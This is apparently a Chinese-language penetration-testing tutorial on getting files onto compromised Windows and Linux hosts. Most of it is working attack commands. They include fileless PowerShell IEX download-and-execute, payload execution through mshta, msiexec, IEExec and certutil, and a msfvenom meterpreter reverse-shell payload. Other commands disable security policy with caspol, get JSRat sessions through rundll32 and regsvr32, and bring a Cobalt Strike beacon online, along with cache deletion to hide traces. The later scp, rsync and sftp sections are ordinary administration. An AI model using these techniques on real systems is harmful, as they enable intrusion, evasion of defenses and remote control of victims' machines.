在渗透过程中,通常会需要向目标主机传送一些文件,来达到权限提升、权限维持等目的,本篇文章主要介绍一些windows和Linux下常用的文件传输方式。
Windows
利用FTP协议上传
在本地或者VPS上搭建FTP服务器,通过简单的FTP命令即可实现文件的上传。常用的FTP命令:
open <服务器地址> :连接服务器 cd <目录名> :进入指定目录 lcd <文件夹路径> : 定位本地文件夹 type:查看当前的传输方式 ascii:设定传输方式为ASCII码方式 binary:设定传输方式为二进制方式 put <文件名> [newname] 上传 send <文件名> [newname] 上传 get:下载单个文件 get filename [newname] (filename为下载的ftp服务器上的文件名,newname为保存在本都计算机上时使用的名字,如果不指定newname,文件将以原名保存。 mget:下载多个文件mget filename [filename ....](mget命令支持通配符“*”和“?”,比如:mget *.jpg 表示下载ftp服务器当前目录下的所有扩展名为jpg的文件。) prompt:关闭/打开互交提示。
例如,我们可以通过在攻击主机上搭建FTP服务,之后在目标主机上通过cmd下的ftp进行远程连接:
首先,在攻击主机使用IPOP启动一个简易的FTP服务
powershell
远程下载文件保存在本地:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')
远程执行命令,无文件落地:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"
⭐bitsadmin
bitsadmin是一个命令行工具,可用于创建下载或上传并监视其进度,自windows7 以上版本内置bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重试,在比较复杂的网络环境下,有着不错的性能。
我们可以在cmd中输入bitsadmin来查看其使用说明:
我们可以通过在目标主机上执行以下命令来实现远程文件下载:
bitsadmin /transfer n http://192.168.174.1:1234/evil.txt C:\evil.exe
⭐certutil
certutil.exe是一个命令行程序,作为证书服务的一部分安装,你可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件,以及验证证书,密钥对和证书链。xp-win10都自带。
我们可以在cmd中输入以下命令来查看certutil的具体使用方法:
certutil -?
由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存 进行删除。
注:缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"
#下载文件 certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php #删除缓存 certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
ipc$文件共享
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
#建立远程IPC连接 net use \\192.168.28.128\ipc$ /user:administrator "abc123!" #复制远程文件到本地主机 copy \\192.168.28.128\c$\2.txt D:\test
IEExec
IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。
生成Payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe
使用管理员身份打开cmd,分别运行下面两条命令:
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s offC:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe
msiexec
msiexec是windows自带的cmd工具,支持远程下载功能,攻击者可以将msi文件上传到服务器并执行,下面通过一个实例做演示说明,首先我们通过msfvenom来构造一个恶意的msi程序(这里以弹计算器为例,在实战中可以根据需要进行修改),并启动一个简易HTTP服务:
之后在目标主机上通过msiexec来实现远程下载文件并执行,该方法同样可以实现无文件落地攻击:
msiexec /q /i http://192.168.174.131:1234/evil.msi
mshta
mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,例如在本地创建以下hta文件:
<HTML><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD><script language="VBScript">Set objShell = CreateObject("Wscript.Shell")objShell.Run "cmd.exe /c calc.exe" // 待执行的命令self.close</script><body>Demo</body></HEAD></HTML>
之后在远程目标主机上执行以下命令实现下载执行操作,且无文件落地:
mshta http://192.168.174.1:1234/evil.hta
如果你想要使得目标主机CS上线,那么也可以通过CS来构造hta文件:
之后在本地启动一个HTTP服务:
之后在cmd下通过mshta来下载hta文件并运行,使其上线,且无文件落地:
mshta http://192.168.174.131:1234/evil.hta
CS中成功上线:
rundll32
Rundll32.exe功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件", 其命令行下的使用方法为:Rundll32.exe DLLname,Functionname Arguments,其中DLLname为需要执行的DLL文件名,Functionname为前边需要执行的DLL文件的具体引出函数,Arguments为引出函数的具体参数。
这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序,项目地址:https://github.com/Hood3dRob1n/JSRat-Py.git
首先我们在本地运行JSRat监听本地1234端口:
./JSRat.py -i 192.168.174.131 -p 1234
之后通过访问client comand 连接客户端执行命令:
之后复制上述恶意命令在目标主机cmd下执行:
之后成功返回一个会话如下所示:
regsvr32
Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,我们可以通过该命令来实现远程文件下载,和上面类似,这里也借助JSRat来实现,首先我们在本地运行JSRat监听本地1234端口:
./JSRat.py -i 192.168.174.131 -p 1234
之后通过访问client comand 连接查看客户端执行命令:
之后复制上述恶意点在目标主机cmd下执行:
之后成功返回一个会话
-------(以上为windows自带工具)------
wget
Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。
wget.exe下载:https://eternallybored.org/misc/wget
wget -O "evil.txt" http://192.168.28.128/imag/evil.txt
curl
cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl。
当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地:
curl http://192.168.174.1:1234/evil.exe -o evil.exe
netcat
当目标主机上安装了netcat是我们可以使用netcat来实现文件下载,当然这种场景在实战中少之又少
首先,我们在本地使用nc起一个监听,并传递我们想要传输的文件名称:
nc -lvp 4444 < evil.exe
之后在目标主机上下载文件:
nc 192.168.174.131 4444 >evil.exe
python
当目标主机内安装了python时,我们可以在cmd中使用python来实现远程文件下载:
>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.hta')>>> localfile = open('local_file.hta','w')>>> localfile.write(u.read())>>> localfile.close()
WinScp
WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。
#上传winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit" /log=log_file.txt#下载winscp.exe /console /command "option batch continue" "option confirm off" "opensftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\""exit" /log=log_file.txt
使用winscp.exe 作为命令行参数执行远程上传/下载操作
MSXSL.EXE
msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。
下载地址为:https://www.microsoft.com/en-us/download/details.aspx?id=21714
msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下:
msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl
demo.xml:
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoft</name></customer></customers>
exec.xsl:
<?xml version='1.0'?><xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:msxsl="urn:schemas-microsoft-com:xslt"xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");return nodelist.nextNode().xml;}</msxsl:script><xsl:template match="/"><xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>
Linux
ftp(一般自带)
ftp在linux一般都自带,我们可以在终端输入ftp进行交互,所以我们可以在本地搭建FTP服务,之后在目标主机上通过终端下的ftp进行远程连接来下载文件
可以使用python3的pyftpdlib模块来搭建ftp:
安装
pip install pyftpdlib
启动
python -m pyftpdlib -p 2121
至此一个简单的FTP服务器已经搭建完成,访问 ftp://127.0.0.1:2121
即可
(默认IP为 127.0.0.1
、端口为 2121
)
可选参数:
-i 指定IP地址(默认为本机的IP地址)-p 指定端口(默认为2121)-w 写权限(默认为只读)-d 指定目录 (默认为当前目录)-u 指定用户名登录-P 设置登录密码
也可以使用IPOP启动一个简易的FTP服务:
之后在目标主机上远程下载evil.exe文件:
tftp
使用下面的命令将服务器本地文件上传到远程主机:
(从服务器下载远程主机的文件也类似,不再演示)
第一步,远程主机运行TFTP服务
apt-get install atftpd //安装tftp服务程序mkdir /tmp/backup //创建目录chmod 777 /tmp/backup //修改权限sudo atftpd --daemon --port 69 /tmp/backup //启动服务程序
第二步,Linux服务器创建测试文件并使用tftp将文件上传到远程主机
echo "sent by tftp." > tftp.senttftp 192.168.43.237put tftp.sent tftp.get
第三步,远程主机查看接收到的文件
sftp
sftp是Secure File Transfer Protocol的缩写,安全文件传送协议。可以为传输文件提供一种安全的网络的加密方法。sftp 与 ftp 有着几乎一样的语法和功能。SFTP 为 SSH的其中一部分。
用法:
运行SSH服务
systemctl start sshd
连接远程服务器:
sftp username@ip
回车之后输入服务器密码即可连接成功。
将文件上传到服务器上:
put [本地文件的地址] [服务器上文件存储的位置]
将服务器上的文件下载到本地:
get [服务器上文件存储的位置] [本地要存储的位置]
⭐scp
scp是secure copy的简写,用于在Linux下进行远程拷贝文件/目录的命令。
和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读 read only system时,用scp可以帮你把文件移出来。
另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。scp在跨机器复制的时候为了提高数据的安全性,使用了ssh连接和加密方式,如果机器之间配置了ssh免密码登录,那在使用scp的时候密码都不用输入。
安装:
yum install -y openssh-clients
使用:
从本地复制到远程
# 拷贝文件scp /home/test/test.txt root@192.168.0.2:/home/test/# 拷贝目录scp -r /home/test/ root@192.168.0.2:/home/test/
从远程复制到本地
# 拷贝文件scp root@192.168.0.2:/home/test/test.txt /home/test/# 拷贝目录scp -r root@192.168.0.2:/home/test/ v/home/test/
rsync
rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机之间的文件。也可以使用 rsync 同步本地硬盘中的不同目录。
rsync 具有如下的基本特性:
可以镜像保存整个目录树和文件系统可以很容易做到保持原来文件的权限、时间、软硬链接等无须特殊权限即可安装优化的流程,文件传输效率高可以使用 rsh、ssh 方式来传输文件,当然也可以通过直接的 socket 连接支持匿名传输,以方便进行网站镜象
在使用 rsync 进行远程同步时,可以使用两种方式:远程 Shell 方式(建议使用 ssh,用户验证由 ssh 负责)和 C/S 方式(即客户连接远程 rsync 服务器,用户验证由 rsync 服务器负责)。
无论本地同步目录还是远程同步数据,首次运行时将会把全部文件拷贝一次,以后再运行时将只拷贝有变化的文件(对于新文件)或文件的变化部分(对于原有文件)。
rsync 的命令格式为:
1)本地使用:rsync [OPTION...] SRC... [DEST]2)通过远程 Shell 使用:拉: rsync [OPTION...] [USER@]HOST:SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST:DEST3)访问 rsync 服务器:拉: rsync [OPTION...] [USER@]HOST::SRC... [DEST]推: rsync [OPTION...] SRC... [USER@]HOST::DEST拉: rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]推: rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST
例子,使用下面的命令将服务器本地文件上传到远程主机:
echo "sent by rsync." > rsync.sent
rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get
远程主机查看接收到的文件
rz、sz(lrzsz)
rz sz指令可以实现linux和windows之间的文件传输,但要求在windows客户端要安装Xshell或SecureCRT远程连接工具。
rz指令和sz指令是一对上传与下载的指令。它们的软件包名为lrzsz。
- rz : 用于linux与windows之间的文件上传
- sz : 用于linux与windows之间的文件下载
工具的安装:
yum install lrzsz -y
rz sz指令使用很简单,执行rz 指令,远程连接工具会弹出windows文件选择窗口,只要选择要上传的文件即可
文件上传:
文件下载:
⭐wget(自带)
wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议下载,并可以使用HTTP 代理。"wget" 这个名称来源于 “World Wide Web” 与 “get” 的结合。当目标主机上有安装wget时,我们可以直接通过该应用程序来实现远程文件下载:
wget http://192.168.174.1:1234/evil.sh
cURL
cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行,它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具,cURL还包含了用于程序开发的libcurl,当目标主机中安装了curl时我们可以通过以下方式来实现远程下载文件到本地:
curl http://192.168.174.1:1234/evil.sh -o evil.sh
netcat
首先,我们在本地使用nc起一个监听,并传递我们想要传输的文件名称:
之后在目标主机上下载文件:
Perl(一般自带)
Perl是目前很受欢迎的主流脚本语言,linux主机一般都自带perl环境,我们可以在终端中使用vim来编辑一个perl脚本,之后执行perl来实现远程文件下载:
#!perl#!/usr/bin/perluse LWP::Simple;getstore("http://192.168.174.1:1234/evil.sh","evil.sh");
之后在终端运行该perl文件即可:
python
Python是目前很受欢迎的主流脚本语言,当目标主机内安装了python时,我们可以在shell中使用python来实现远程文件下载:
Type "help", "copyright", "credits" or "license" for more information.>>> import urllib2>>> u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')>>> localfile = open('local_file.sh','w')>>> localfile.write(u.read())>>> localfile.close()>>>
Ruby
当目标主机内安装了Ruby时,我们可以在终端使用vim来编辑一个Ruby脚本,之后执行Ruby来实现远程文件下载:
#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("192.168.174.1") { |http|r = http.get("/evil.sh")open("save_location.sh", "wb") { |file|file.write(r.body)}}
成功下载文件到本地
PHP
当目标主机内安装了PHP时,我们可以在终端使用vim来编辑一个PHP脚本,之后执行PHP来实现远程文件下载:
<?php $data = @file("http://example.com/file.sh"); $lf = "local_file.sh"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh);?>
成功下载远程文件到本地